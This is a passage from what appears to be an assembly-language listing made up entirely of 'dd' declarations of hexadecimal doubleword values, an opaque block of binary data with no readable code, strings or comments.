22889893h, 0BA80AC36h, 0B01BF84Eh, 698F29CEh dd 0C54E01CCh, 0D870ADFEh, 5C408AAAh, 7B0A4213h, 0CB04993h dd 0B8EFF201h, 95E80AC2h, 3F30B054h, 484A73Bh, 8CBCC106h dd 5F00807Ch, 8BFC03A0h, 0F114BAAh, 96F365B7h, 6B322860h dd 761761CDh, 0F021BFE0h, 23FC4B0Dh, 6A5B05B5h, 44A373A9h dd 882BB2C8h, 0DB00C560h, 9629B1CAh, 26A350Eh, 4023AB5h dd 0E040AB5Fh, 15488FC3h, 4B7E00C8h, 0EE38C1F8h, 459F0586h dd 0CCE9F2D3h, 0C7B07D44h, 5A992B00h, 86EA61F8h, 5EF6093Eh dd 6C015237h, 0D14BA2AEh, 84B947D4h, 990B276h, 80A0FE59h dd 0E50D400Eh, 80300072h, 0C157A7EAh, 55502B4Eh, 0ED2ECA8Ah dd 0C8408893h, 48A5430Ch, 6071586Ah, 28DB5853h, 0FA13EC2Fh dd 50880325h, 6B83006Ch, 0E73AC60Eh, 0FC07AC92h, 85B5D2EBh dd 11218CF0h, 54B64C53h, 0B8912B00h, 0DE543FF4h, 3848056Ah dd 0AE698B40h, 947D000Eh, 0E27CBAEFh, 350FB934h, 0E0102927h dd 0A97976D9h, 0A68C9417h, 0BE080274h, 0EC20EDFBh, 0E21A0h dd 0FD80854Ch, 91AC2489h, 62633D09h, 6C44ABh, 9B7122F4h dd 30C473BAh, 6ECEE601h, 9DF5B8A7h, 0C55A6180h, 0D6DA20A2h dd 0CD53493Ch, 3CA105C0h, 1400F640h, 0E7AF665Fh, 0B3020BFDh dd 0F400097Ah, 86EC197Fh, 5C4CF84Eh, 4631CEh, 22BAE858h dd 4CA004BCh, 4A3D490Fh, 71644107h, 8BD0670Dh, 62ED0391h dd 0D1637933h, 725330A9h, 0DA5878h, 5E81E592h, 3BDDD7h dd 0C5F90889h, 2AF2F761h, 8479A8F1h, 5E053D00h, 611E5D02h dd 1B872031h, 215A1D0Ch, 5C7699A5h, 42C1C002h, 0F4AC7B3Fh dd 0F50057DBh, 92595406h, 0F94541ADh, 8B487FC3h, 0D441AEEAh dd 0F62041B8h, 905980CFh, 0C6E94DA1h, 7E2F025Fh, 0F5D8D61Bh dd 0D000A064h, 0C6B36406h, 110AEC0h, 6736D4F3h, 0C00365A6h dd 4500EE32h, 5DB804A3h, 2888597Ch, 0F95C2AADh, 9CCAF9CBh dd 16631180h, 592BFF0Fh, 0C8BD3E00h, 93665754h, 0E4F0042h dd 35BB5E65h, 8303DFF8h, 0BC43023Dh, 0AEB90ED5h, 0E9C09EB4h dd 0E496A20h, 0C7EF002h dd 519436A1h, 536700F4h, 2B567D79h, 0DAB38500h, 95E4ED41h dd 13D370FFh, 26EC48Fh, 4BBD84F0h, 0A402C480h, 0A4A347Fh dd 755BF820h, 0E04956Ch, 0EA80D581h, 36B32880h, 0F050C0A7h dd 2AFBF367h, 6AF9B8A8h, 8EE61D03h, 880DADDFh, 0EF99A880h dd 0E029F060h, 27949862h, 0CCA1BF38h, 0E0A697CEh, 4400A206h dd 187CE1C4h, 60FBC3D4h, 35CC79B0h, 0EF269F05h, 6803153Ch dd 83318969h, 63B10A07h, 18D655h, 6A7D7159h, 6260E2Eh dd 3F610C87h, 96807252h, 8BDC024Bh, 9501338Ch, 0E2616D57h dd 12201A2Fh, 0AB26019Eh, 154F353Bh, 0F01430BBh, 7ECF0603h dd 0E12D31C9h, 0E2F0A044h, 424E039Bh, 83AA34E5h, 0DF5471D8h dd 0C3ACBF50h, 9C573702h, 400BE132h, 2ECF10h, 0DACAB955h dd 31A2A1FEh, 0F5AF2515h, 0C1830088h, 0EEB19D53h, 0C2D89566h dd 29006CB1h, 958DE793h, 23CC007Bh, 6566400Dh, 0D901FDDAh dd 0FEEA91DCh, 461FB09h, 0AE053873h, 804A75D1h, 0CC0193C4h dd 501FD90Ah, 56808CA2h, 57B2302Eh, 63040449h, 0EABCC9CCh dd 838E3200h, 178DA4Eh, 473E6020h, 81ABBBDEh, 7B494FB1h dd 0D84419E3h, 0C43AD409h, 32921D0Ch, 178E801Ah, 206BD4AAh dd 2A0AE80Bh, 0F5F440CFh, 0E00CB231h, 0CD773AFDh, 522A6h dd 95AB74E1h, 0B6602A20h, 374A1EA9h, 39CD003Ch, 6A73945Ah dd 523E6046h, 813482AFh, 6450B2F1h, 0EDE4A8h, 4A8BF6Bh dd 92B6BC28h, 0B8AED804h, 0A0E4B1FEh, 0F64E27B7h, 5B9F80A0h dd 0D200F9B8h, 9B492115h, 26A7C7DDh, 93493BDh, 3090B931h dd 0B07159Eh, 0DAA95E4Fh, 319360AFh, 0E830AF2Eh, 150919Ch dd 884CDDA0h, 2079E891h, 38EA502h, 0C18D9D22h, 9039BC21h dd 0A0BBA800h, 0EDE36CE0h, 30402B5Bh, 1F112327h, 0E785020Eh dd 50CE1754h, 7E148C90h, 83A88A00h, 0BFD628A9h, 0C36800ADh dd 79FA9D4Fh, 315836DCh, 0B0916489h, 8DC088h, 5EE25085h dd 786E7BC2h, 3243D00h, 0A8B2CF40h, 4AD902DDh, 2A3619F8h dd 0DB038CC4h, 0B3DC7B25h, 1B909F99h, 1EB0E80Eh, 8E1302D6h dd 15E1328Dh, 513056A9h, 0FA6F31ACh, 0F900B4D9h, 66AFBB6Dh dd 0AD0D3A89h, 0CAC09C09h, 68670810h, 551F0900h, 0E5D665CCh dd 26F12D1h, 23A00014h, 0A2A61519h, 4704E8EAh, 73BD7D6Ch dd 0AA1EE8F2h, 513D89E2h, 11A4C48Ah, 918F0E04h, 0CF88E717h dd 4B736810h, 20034A1Ch, 48572434h, 0A355600h, 0D42D19E9h dd 0FBB190C4h, 24DB5C20h, 812072F5h, 4EFBA68h, 0F5E2C22Ah dd 879D40F7h, 431601AEh, 0CD4A0E1Ah, 0B3AC2037h, 0F89FE12Ch dd 716DE60h, 0A98C007Ah, 0F36F9443h, 0ACE6FA59h, 12E290B0h dd 9D24D65Ch, 0D9F6A700h, 3C4CD6Fh, 0B2C94AEh, 1CCBF5EEh dd 61BF63F0h, 535C8BF4h, 0A9190BCCh, 174C982Ah, 2160908Dh dd 26060701h, 0F061B834h, 36A0197h, 0D23D9F4Ah, 0EC622Bh dd 1355CDBh, 1DE7B629h, 288C4FEh, 0D6CA3D70h, 46512C60h dd 0D4BF1C12h, 0E2EB2C43h, 0FF87E864h, 25C00A0Dh, 12346B34h dd 2CFC30D4h, 66E245ECh, 2B50CB00h, 59A771ACh, 9F230134h dd 0A9616C57h, 0D49C3167h, 0ED7CC02Ah, 85BBB094h, 54ADBDA0h dd 0A8007412h, 3602A2C6h, 24A8021Bh, 0A7ACB211h, 0D6595CE0h dd 0EB8028BEh, 0C9C58422h, 9DC400A2h, 0ADF6C3E1h, 6028C8Fh dd 0CE0BE559h, 0D03892E8h, 40B89CD8h, 0F8F5A658h, 27E40500h dd 2FD4A937h, 643416F0h, 0D1CC30D6h, 0C6008FBBh, 42FC4B58h dd 46A308h, 0C3D38A12h, 16A8496Ch, 4DCFA90Bh, 4CD00296h dd 3FC8C42Bh, 1C80E014h, 0A1CE941Eh, 0C0497FADh, 50741240h dd 9047ACD0h, 375004Eh, 41807028h, 6924CE87h, 20006D1h dd 96BE6FEFh, 99F66040h, 0B3F50F83h, 0A7F22805h, 1C9820ADh dd 60D205BEh, 947B94Bh, 5490B085h, 1A00FB89h, 31076756h dd 0E0DEF659h, 8C22E958h, 5EA56E00h, 5CD70791h, 2FBA9300h dd 8B8F5535h, 8AD90002h, 34093E04h, 3007625h, 2732DF65h dd 0B81AC084h, 0D6811D20h, 486706ACh, 0CA0090A3h, 6C4B7A98h dd 583B5C0h, 0FB91D6B8h, 0B908C161h, 0B4601012h, 0B70C13FCh dd 14EC20CAh, 0C60087B0h, 2793B92h, 65A3D5Eh, 2FD82961h dd 0F104A40Dh, 429752B6h, 7A3C1C81h, 90115870h, 7591240h dd 22CC03FDh, 20A188A1h, 40CAF497h, 65030DF0h, 7C2A458Bh dd 0E678D006h, 8889066Bh, 99320A31h, 50AD5A5Ch, 8EE4B698h dd 0D810F0C0h, 2AC7Fh, 7CC86201h, 0B224498h, 4699E703h dd 1F2B89h, 0F3C37541h, 0EAC10E4Eh, 0FE18E57Eh, 4CA02261h dd 0A2DE1201h, 0F57020FCh, 0D5006B3Ch, 0F73B9E15h, 0EBB8F1Ah dd 0EF7381FEh, 0F928F060h, 9222E251h, 3D9248Dh, 0C5B0094h dd 7CD4A724h, 0A02AE218h, 18E2921h, 93F59836h, 292EAB4Bh dd 0F1187F78h, 0AA29D1BFh, 900AEAB2h, 0F3200039h, 75904DFFh dd 2894D63Bh, 548B7196h, 0ACEC004Ah, 0DAE7166h, 93052C7Eh dd 0B4EC2769h, 68CB5409h, 0F0545Ch, 196FA6E8h, 0E0909134h dd 0A2F30A02h, 46C85375h, 32FD1DF8h, 0D5960026h, 385C3BB6h dd 0F6947C2Eh, 8661C500h, 0F39126Ch, 23726391h, 5C28FD80h dd 4612B94Ah, 0E830E1B6h, 0CBF798h, 9864EBBh, 0AF5A8183h dd 0C2CCF305h, 8E072E2Ah, 0FB2360BFh, 0F48150E7h, 3D3303B2h dd 4825D886h, 75A076B0h, 0DB3E8401h, 4F3C2ABh, 0DD070h dd 772F29D6h, 399E88F6h, 0BC5ED37Ah, 7B27440h, 5A2F93h dd 79252E44h, 42F2949Fh, 91DE3400h, 323664EAh, 8B28262Fh dd 418C2618h, 22387D31h, 0C032A48h, 5889B977h, 720E2060h dd 0A85B0942h, 9C6AF5DCh, 178BE740h, 87E44000h, 698CDEACh dd 9874A891h, 34F701A3h, 0B3DAC643h, 519CE846h, 0AD4EAB06h dd 5F60190Bh, 50044B25h, 73C6CCC8h, 4276031Dh, 674A7700h dd 0B8FFBCh, 0AEC55506h, 6182F5B0h, 3B0065FCh, 0D95B2BE6h dd 0A63E87h, 1ADEB505h, 0EEC712EDh, 3026AA0Dh, 84EC3970h dd 8664000Fh, 5FEF6F8h, 0C7481B0Ah, 355501E1h, 0DD13D09Eh dd 30FFE3F0h, 0B20847EBh, 27008716h, 0E7B9CCC2h, 0FD53FE8h dd 0E5085105h, 0D8F46600h, 850C713Ch, 0E8BB5CC9h, 155F28Ch dd 0F8B1B0D7h, 8F9BEDC5h, 0E034AE08h, 0E9FC8486h, 21070057h dd 4E0554DDh, 0D203E33Ch, 51903D36h, 0D03106BEh, 584CE71Bh dd 0D3E97F02h, 0C216FC32h, 398BC0BBh, 0BBE1C02Ah, 2D7B723h dd 0F4099CE2h, 0F710F1BFh, 1049F187h, 30E49DD2h, 955EF500h dd 0FC421AC9h, 0BDB4CBDh, 0A69EA963h, 3288A3F0h, 5A0E6E00h dd 2196CC8h, 638600EEh, 773B6723h, 30C0B0C7h, 2AB12139h dd 6120029h, 1AFF34ECh, 600C82FCh, 2885A623h, 5C7E0370h dd 6DAED33Eh, 0FC89F481h, 0C90E77A8h, 12147BBh, 0CD903688h dd 729448h, 0F330D710h, 0D5C72D86h, 0C2910CA0h, 606F6400h dd 0E25DCBE5h, 0B7BF01C1h, 0EFA189B0h, 0ECFFE44Bh, 4C0ABE75h dd 9091236Fh, 0B702F803h, 64889889h, 6976002Fh, 5F10BE07h dd 7B3ACCBDh, 20C80CB2h, 153159h, 0B8AA8246h, 0A7F6E791h dd 18C05800h, 8C21D275h, 0E529C0C4h, 9593285Ch, 0C82078CAh dd 0D51100BEh, 9F8AA49Dh, 627B00CDh, 4219D3F7h, 8B099AACh dd 30871DFh, 0C2BF82ACh, 85AC901Ah, 84E4029Bh, 0D3236138h dd 0E0D0A4A1h, 0AC9DF843h, 0FAF74C00h, 6EFD45F5h, 753207A6h dd 80DC59B1h, 0BE4B3CE2h, 760D2239h, 88241A18h, 3F13058h dd 0DA83EBB0h, 60A09F63h dd 255CE193h, 0B9AF3184h, 3180521Dh, 33562FDDh, 0FF005066h dd 0CA6930A7h, 0A82DEDCCh, 199CC8h, 0D3547F0Eh, 1BF50AFCh dd 6C04BFE8h, 0D14EEBD0h, 208D0880h, 258200DDh, 99595EBBh dd 94AA013Bh, 0FF278580h, 0AF071A2Eh, 0C4E59C72h, 0F477617Ch dd 85F8EAh, 0B8BED967h, 0DF3051F6h, 402450E8h, 0E660342Dh dd 2C4E2F5Ch, 90C601h, 28A8C2C4h, 3F0986FAh, 85CEC8h, 0D36254A4h dd 0E4F4004Bh, 0EED47966h, 0DD02F015h, 1155C96Eh, 8F80A227h dd 78548505h, 0BDEBCFC0h, 8C250A28h, 87989223h, 0F06110C8h dd 435CD94Ah, 5549FD00h, 805020Bh, 8D420006h, 0FF90A393h dd 1D3118EDh, 342C6153h, 844EC4h, 28AD5224h, 0E34D7827h dd 3018F433h, 40E2A2EEh, 2A959C30h, 1D8CBD51h, 0C1C782BAh dd 7C801AD0h, 92B442C1h, 0D0428061h, 0E5005772h, 2A25225Ah dd 7C3CF62Dh, 1BA506BEh, 49B19B1Ah, 4E846B07h, 0D290595Ch dd 724F39h, 89EFBB11h, 86D31C5Bh, 30E76000h, 20A55CB3h dd 10556125h, 816999h, 1EE105F8h, 0C138142Ch, 7821193h dd 749C500Fh, 0C007AF5Ch, 3071F57Dh, 801048B0h, 4477507Ah dd 0AB5F00B9h, 0EC95B224h, 0FE1DE702h, 0C30086C2h, 0F7773742h dd 5EEBEACEh, 62B895h, 93E855C8h, 0A5278D3h, 56832116h dd 0D4E381C8h, 0D9E2736Fh, 65D9EC72h, 198F69C7h, 9120999Ch dd 0CFF00ACh, 822556A4h, 0A952DE07h, 9740723Ah, 7AAF4A6h dd 0BECDAF37h, 0C1A23CCh, 0FA554108h, 0A4143CCBh, 0AC00BC36h dd 1C87943Fh, 0CC3F02EFh, 0F64183C3h, 3D2B3934h, 38001739h dd 9DC555Ah, 0C2007682h, 6EEF6352h, 708F0B7h, 308AA642h dd 40BC2590h, 193763D4h, 2077D1DCh, 0F680E9DDh, 931E8308h dd 3EFA0C5Bh, 0F388A361h, 0E771DAEEh, 0D8247304h, 3C84205Ch dd 421BB820h, 717C0178h, 0FC50366Fh, 7EEDCC01h, 7D4CA503h dd 0A620C7D2h, 0DACA0069h, 0E78141B1h, 75018AF2h, 36AB6729h dd 0A888D0C2h, 288FBF51h, 83C0A1Bh, 0FC33CA00h, 0AD3CD86h dd 23D08270h, 0C388002Ch, 19A02AE8h, 0A4DB6700h, 0FDD4F599h dd 236E265Bh, 0BC424EA4h, 8286B555h, 302260D7h, 9CBA009Bh dd 535EA052h, 4A083B6Fh, 0D61D15h, 0FF4811C5h, 0D00A806Eh dd 80957746h, 0BFD7B881h, 20C07D9Eh, 69C70058h, 0B3375719h dd 233E67A7h, 848878DEh, 716B00E3h, 12804156h, 61C5D395h dd 0AC1DC8AEh, 203600E2h, 1942FE45h, 0FB767E69h, 0E23EBCB8h dd 8054CCC9h, 6EBB0892h, 83711E90h, 5EF900B9h, 0E524FC65h dd 0A12A7904h, 0FC8032B6h, 9530AE0h, 0B85590F9h, 4D9E3810h dd 0CAFB5618h, 28EA8F11h, 7C776Bh, 7A441EE6h, 1A7CE861h dd 4CC80CA2h, 0C4002FCCh, 92548713h, 7FC2B664h, 35522E16h dd 8D11051Eh, 78648CD4h, 0C7464504h, 4C1ADE0h, 0FE471863h dd 8C723C80h, 0C9A724A1h, 9A0560A8h, 600D2A4h, 80EA48D1h dd 0ED75B9h, 557E58E2h, 0B65C82BCh, 442E9026h, 4F78C940h dd 0F63E7F9Eh, 169C2E53h, 0F4C808h, 66D4D4Fh, 202CACFCh dd 449D49Eh, 7C802994h, 0CCABADAh, 0E41BBE73h, 0F900D0C1h dd 0E3DF3CD6h, 2C2D20C3h, 4330A490h, 2900083Bh, 965EC735h dd 1E19FFE8h, 8049B6D2h, 0BEE2BD99h, 9389FB3Fh, 6A2F870h dd 3025C4A3h, 0E7001902h, 0F45F3758h, 16752A77h, 8A94B27h dd 7B3A3C7Ch, 32C07F3Dh, 2001A065h, 21B28055h, 67387A3Fh dd 50CA30D1h, 6B007511h, 0E85AF4BAh, 463B26AAh, 0FF1A8042h dd 53DE69E3h, 0B6EF133Dh, 0A38C02FDh, 50E47820h, 693FC0Ch dd 25F54929h, 92FCC80Eh, 8A30D401h, 0E4309339h, 0A73F0F2Ch dd 0CFA1A3E1h, 66BFF10Bh, 13F80380h, 0C27B22h, 0ADA24259h dd 0BB1053A9h, 0BC19D402h, 441A18C9h, 0F57288h, 0E6B3FC7Fh dd 0EFACBD90h, 0C08D1D00h, 22E2C30Ch, 3C250723h, 8E69EAB9h dd 0CCCF53A0h, 552EFF6Ah, 5408843h, 90D25Bh, 451B92EBh dd 0CC325DC4h, 0E8F097h, 0D8B6CE42h, 31C8D9AFh, 50C4CA2Eh dd 6195EF4Fh, 779D25F4h, 5B008472h, 78143933h, 802EDD6Fh dd 716048ECh, 9D97FB3h, 0C35C0CBCh, 63018498h, 0BF7E2500h dd 0EDCB9053h, 75D90766h, 0B1EA4582h, 91204EFEh, 0D407C8B8h dd 0B3E4C2F1h, 6100E739h, 85969027h, 16A11142h, 0B7EED6h dd 518DF6A8h, 2C24DD21h, 0B407CC7h, 0B033ADEh, 0CF04280h dd 41C37404h, 0E570413h, 88D59870h, 0EF07091Dh, 0F06F1FFBh dd 0FCAC39F0h, 0C42225E6h, 95B15882h, 0A40244E2h, 0D8E05DCFh dd 997B3EA6h, 0FAD4C400h, 0B2A5EEE5h, 39252CCBh, 0FC9640E4h dd 0F73B0BBEh, 38520198h, 0FD8495ACh, 409F082Ch, 41E8F0A0h dd 0E2183C35h, 0FB9999C4h, 7A3017Ah, 111D918Fh, 0C713C049h dd 0B2212F6Eh, 352300AFh, 0A1BFECE8h, 0F045C000h, 52C3386Eh dd 822E094Ch, 0F400D40Dh, 0E328B7C4h, 404B3C07h, 4840FDEDh dd 534C9F50h, 6800C056h, 3C92B208h, 349282BBh, 0BEDECA1Dh dd 2680B61Dh, 0D2CFA95Bh, 1D870256h, 0E0F4674Ch, 0F1BCC887h dd 507701A4h, 0D2E2B29Ch, 30287D5Ch, 28256185h, 74452555h dd 68F4A8h, 239CD230h, 7D0095F7h, 845DB99Dh, 0E0EA1C04h dd 27229h, 19D60EECh, 4172BED4h, 1870E174h, 0EC1AB8A8h dd 0EBA5304h, 0A0A0FCE8h, 5C074BB2h, 0B36281F8h, 0C465C0CFh dd 48038D53h, 0E60C1239h, 4033F0A2h, 41074EBDh, 0C331F89Ch dd 8FFFF804h, 94D50200h, 0FC6D85EEh, 0D0CD3D59h, 0B1085800h dd 5C9A7BECh, 640290E8h, 66E48FFEh, 0E180850Dh, 854AC081h dd 2278D511h, 56C84048h, 25DDDE00h, 0FE096908h, 203A4B51h dd 0D0A8540h, 7CFDEB3Bh, 0DC1CF61Dh, 9D4A38F1h, 82B89840h dd 0E9E701C1h, 0E8E637DAh, 0F78087D6h, 0CF7417h, 225AF5D0h dd 709B82h, 0D5722CEBh, 0E3011B23h, 9031EAC2h, 54429839h dd 0D2188167h, 0E472305Fh, 0ACDE4C00h, 0BE13185Ch, 7B233418h dd 17429h, 81FC8D2Fh, 16AC775Ah, 90049803h, 0E11A28F7h dd 0F4DC9C5Dh, 823302D0h, 0CD4E3C51h, 7B6DE880h, 0AEF62084h dd 0D17EAF05h, 0F406CB3Dh, 4B66FF47h, 1A2049A9h, 1FE2B868h dd 9CC26D00h, 1091E08Eh, 387B5C15h, 384C8522h, 6FD28024h dd 48A3AB5Eh, 985844CDh, 3B508EC3h, 3C99A5E9h, 0B277809Ch dd 0F4D9E5E3h, 719D00EAh, 0EF7D369Ch, 0CD03A247h, 19CFDD52h dd 301EF887h, 97CA8871h, 514C8100h, 3E28346Fh, 35DE07BFh dd 908BFDh, 0D3DA09E9h, 0C455080Ch, 0C8A92Ch, 9B47F2DEh dd 0CAB7AF87h, 0AA0002F8h, 0A20FE5Bh, 5023170Bh, 89DFE45Fh dd 95BC20C6h, 18E44132h, 5690227Ah, 0F2C887Ah, 1B08C891h dd 0CDE884FAh, 0C1F0825Ch, 1169B080h, 0C0A0CA0Ah, 1898D2D9h dd 2E20BA01h, 3C380B87h, 304DF5F4h, 3B61902Ch, 0E5002925h dd 0E238163Ah, 2624B460h, 1146273h, 7278012h, 1E0434D8h dd 0FF5D5F00h, 228A8296h, 403C964Dh, 95A9FEC2h, 0D432304Bh dd 314E184h, 20CD1510h, 0E67D7703h, 0B2F31465h, 0A82068BEh dd 929F0A2h, 0A3CAE32h, 1BA08F0Eh, 0E4866DD6h, 5920C430h dd 87315Ah, 7B7DB49Bh, 0EADA0C24h, 1868603Eh, 0B582E626h dd 54142E43h, 1EE11390h, 0B29228h, 0B33ED75Ch, 7E0D7AC4h dd 20D22AA1h, 8D10AC62h, 14204BBAh, 756546Dh, 0FC2EA1BCh dd 0B80172F7h, 0B0E6D380h, 76002B12h, 0DBD72AA9h, 29F05E7h dd 964652D1h, 0F0417778h, 5C61C84Eh, 0F4B0667Ah, 5EA34900h dd 801B988Ah dd 40A1022Dh, 5767BFF6h, 0F42394A4h, 3700C148h, 0BAF5CD54h dd 188BEEh, 9FCA3FC3h, 1A1EB62Ch, 88A99A61h, 62E44C1Ch dd 0DB350095h, 0FF41BB53h, 3600397Ah, 20678016h, 26D29715h dd 42E4B855h, 0D05A3057h, 58E20207h, 0C1903327h, 413529h dd 0A5818623h, 0CCAE9613h, 0A1244498h, 8A3F08E9h, 0CC9A5695h dd 0E0B33381h, 0C131A41Ch, 88FB2C60h, 57502744h, 255B408Bh dd 0DCF84C20h, 51E6DDh, 6B021015h, 50FA3D47h, 467D5F00h dd 9B861BFFh, 55480778h, 59903328h, 8860B06Ah, 2101BDFCh dd 49D25125h, 74602D19h, 5FF3C4Eh, 7E32E16h, 0CA1A9D70h dd 8E4D8794h, 0D6B493B2h, 476EF7A8h, 0C46BCB0Ch, 0F25921h dd 68EC7967h, 575AF166h, 1CA7339h, 5F38B6A9h, 81E21F6Fh dd 0CD956B80h, 84487826h, 0A67B4200h, 0B5B96EA4h, 0D3464C02h dd 4431BEC8h, 0EB081CDCh, 6BDE5Fh, 0E532390Fh, 48B8E2D2h dd 7BC8A300h, 1AF603B1h, 39DD18A7h, 1B48390Eh, 0E2EA28F2h dd 239B172Ch, 0BB11D303h, 3B901785h, 0DB0C00E5h, 18F5E87Fh dd 84519014h, 99DD1D50h, 8700DE5Fh, 0BE304EB1h, 86D11D5Ch dd 0E41A4858h, 3C0324A6h, 0D0F90457h, 42B7473h, 11563AD2h dd 31BCB4C6h, 805518A0h, 13C6874Ch, 401E17EAh, 7B99540h dd 0BD6DA42h, 4BEC676h, 983AA893h, 0E544A4h, 69159A4Ch dd 0B3AC421Bh, 8C794D09h, 0CE6080D1h, 744BC03h, 0D8DC8E92h dd 0FF403C35h, 0B4987350h, 5FF7DE00h, 8BC63A5h, 8322107Ch dd 2AF802DFh, 0B849ED04h, 163D5E84h, 1D2730D1h, 99F401ACh dd 334D209Eh, 0BCD21BCh, 44083B19h, 7BD50920h, 0A5425868h dd 5E27E900h, 7F2430E4h, 5AAB163Eh, 63FC201Dh, 0C90083FDh dd 91307AEEh, 6023D669h, 6585697Ch, 0F701D0B3h, 0F43366C0h dd 710E6EDh, 470112C3h, 6C9D14D8h, 0FDD890B1h, 7C38480Ch dd 442EC058h, 3C340F8h, 60004692h, 25799CBBh, 4BFC0605h dd 878020CFh, 8E0010BFh, 0F6787034h, 5A390A2Bh, 0DB0C4638h dd 0D600C620h, 9E87E777h, 3E39E5EBh, 848B5F09h, 3B006B48h dd 0A82BD6FAh, 0BED23306h, 30415630h, 11D99423h, 6200F438h dd 95314371h, 1FFE0D34h, 0F7B6835h, 36214CE2h, 298CFC55h dd 0E72220h, 91632F3Eh, 0FD4F5887h, 30E04202h, 0CC842150h dd 0AD8A3F38h, 9CEFC909h, 1700C444h, 8F5397DDh, 0B82A9309h dd 0B0E0FAA4h, 0D8BC1690h, 7B8008D2h, 7347999Eh, 4450E6FAh dd 8310B9h, 7CECABCFh, 55D3D6Ch, 0E54A7116h, 2048F030h dd 0E13F00D8h, 9BDE4E38h, 0A1000EA3h, 67F14FCh, 4B7BBDBBh dd 880040F6h, 0CE4D9820h, 0B892A23Bh, 0AFC091Ah, 64060C8h dd 3FA0A8E6h, 695D024Eh, 38BDB360h, 9E03FC44h, 0D476725h dd 8E6B88AFh, 44EA0F81h, 30B346E5h, 6DF34EE0h, 63EC1C1Fh dd 0BC9A99C1h, 27EC54D1h, 92061695h, 1804901Ah, 4203C837h dd 63E079E8h, 0FAD1D0D9h, 3E0F005Ah, 30285F4Dh, 0DE12B8E5h dd 94074E86h, 0E9A02E6Ah, 1796A20Ch, 25FA55ABh, 8CB2E0h dd 1B729925h, 1C42E9C1h, 0EF4B458Dh, 0DF13C2D0h, 420304Dh dd 8437A3h, 81201404h, 783B21D9h, 5FFD7400h, 3A109C5Eh dd 0D0C90105h, 0EB5A88E6h, 7BCCF045h, 8796773Dh, 2BEE5BB6h dd 4076BC62h, 4C25B27Ch, 0A300247Eh, 0F5726EA9h, 75093B3Eh dd 2EA1F5Ah, 41FEBFD8h, 6BF03010h, 3F330096h, 783782FCh dd 6F160519h, 30884555h, 0CC970972h, 94CAA2BEh, 0A09CECD8h dd 0E451C240h, 574706CFh, 20E99C15h, 0EB19611Fh, 981A0540h dd 45E6E22h, 1EE00CE2h, 0D4E2CCh, 4D896937h, 59958F08h dd 5089284Bh, 0F6043C18h, 0E100E7F8h, 22493AB0h, 997057h dd 0D9599F5Ah, 0D72504F3h, 2827B3Ah, 86D3BB90h, 84591Bh dd 65A1DF47h, 3D00D72Fh, 52B50637h, 25143B82h, 7C20391Fh dd 0C46583F6h, 85993807h, 7C60C3F5h, 1ACBFB7h, 6BC907A9h dd 6C374FABh, 6A6000FCh, 3A25226Ch, 16392C04h, 6420D4h dd 0E7A1B230h, 2938F673h, 0D8B55D00h, 42EE4F3Ch, 3AE8C094h dd 67B6EBE9h, 0B20A290Bh, 56C9077h, 0F0F648B7h, 8127FD0Fh dd 0CB754001h, 2CA3F4D3h, 2393A48h, 3274F795h, 0E428521Ah dd 2186004Dh, 4F5D0C77h, 163A832Bh, 71D082F2h, 2422C4CDh dd 0DF3F8025h, 33984A15h, 19368600h, 0EB1B7491h, 2589020Bh dd 5B097342h, 50401054h, 1923B77h, 466C4D1Bh, 5072D345h dd 61B1BB10h, 0DCEAB500h, 0BDC8837Bh, 60A0B608h, 54A832D2h dd 7235BE00h, 216CFB7Dh, 0B7F30017h, 0EE7BC6CAh, 0E500A6FAh dd 0DCB88103h, 0AB0DA1h, 91B745E9h, 48BD9A2Dh, 0AF951D00h dd 7ADC3FA4h, 4055332Eh, 34C07540h, 6300F935h, 624C8D77h dd 0F13B7F87h, 145D6FCh, 0ABB2BFC1h, 0ECEAE885h, 46227764h dd 78CC3C7Bh, 11E02F3Dh, 0C44A652Eh, 26481360h, 63F5958Dh dd 485B319Dh, 0C6651AE0h, 0C0798A37h, 353229C0h, 0A9B0BCh dd 8B94D4A3h, 0A427C545h, 0B830C176h, 431828DBh, 970300CFh dd 0C32F880Ah, 270006DEh, 0E44D28A1h, 5A4B3ABh, 0F7D6B6E0h dd 65904043h, 850E3BACh, 4A54FE01h, 377AC063h, 7DCDD0h dd 5B889E43h, 93CF35A8h, 653D9C07h, 41BC1CEAh, 0F1F30F40h dd 0CDFCEB9Dh, 401942F4h, 0A841452Fh, 2135B601h, 7AEBF695h dd 538EE88Ah, 611B8088h, 0BA6C51B1h, 0ABA8CF50h, 0A154AA03h dd 0A8FDF202h, 2E6211h, 50CA1488h, 2C329672h, 3BD08CFh dd 1766DFAAh, 0A0456919h, 0D31C53D3h, 0ED4090D8h, 8815B7CEh dd 296C673Fh, 78EED6DFh, 0C6FCA01Bh, 57D5E048h, 70FC1Ah dd 0B8473413h, 0C2CD4A5Ah, 0D2081407h, 31B38DD0h, 0E61A00F3h dd 82AEB10Fh, 0B407C251h, 6E83DC0Bh, 60AB63F0h, 0EA060050h dd 93F214DEh, 0B502972Dh, 0AD20C4DFh, 2E17D0F7h, 1CC73017h dd 0D9824193h, 208CC43Ah, 3E06DD29h, 736F8BD6h, 0FA9900E8h dd 0A50E1578h, 4B001E53h, 0A1722E80h, 2AB555Fh, 328D65C2h dd 8CA17F2Bh, 0D9352CF2h, 0CB118082h, 9587A879h, 3F0D0040h dd 2056B964h, 4B0037FAh, 0CD65F338h, 2694D30h, 0C481ADB5h dd 0B4A0AC43h, 164506Fh, 0B6FAF603h, 0C849506h, 0ADD33659h dd 77052E7Ch, 2B620C44h, 0C787C0FAh, 0B8008443h, 49C4E840h dd 54D65E2h, 0C8175631h, 11DC20DEh, 0E9008486h, 0A863ED2Dh dd 54E060D2h, 12CC97h, 40813CDDh, 5188C65Bh, 0E095A83Fh dd 121C5F81h, 0A0EE1Bh, 0FBF7A9CEh, 4CDAE10Ch, 0DC0CE077h dd 0C9DE2D06h, 0B5990050h, 0B61C9F32h, 94008AEBh, 0ACC4F588h dd 1C60B6Fh, 4EDC764Ch, 0E0F68699h, 7C00CA22h, 731281D4h dd 33DF6D89h, 49505D1Ch, 238060B0h, 7B958C00h, 7EECFA42h dd 9F0E00F0h, 0AC4CA97Dh, 0AA603EC9h, 65F20A81h, 0C4E00056h dd 8830B545h, 4C91BF17h, 0D225DE07h, 0BCE76071h, 7C10B917h dd 1300C959h, 4BF70106h, 22ECBEFh, 701436F2h, 0EB438367h dd 707768C1h, 5C284C71h, 3299C1Fh, 0ED07D896h, 69F1DAB4h dd 0D2F527A4h, 0EFCC6EE1h, 36F9070Ch, 0C02B4ED0h, 0A040BBC9h dd 9B3B9F0Ah, 5318BC27h, 48010760h, 73317CA6h, 308B3610h dd 6206D938h, 34DF9166h, 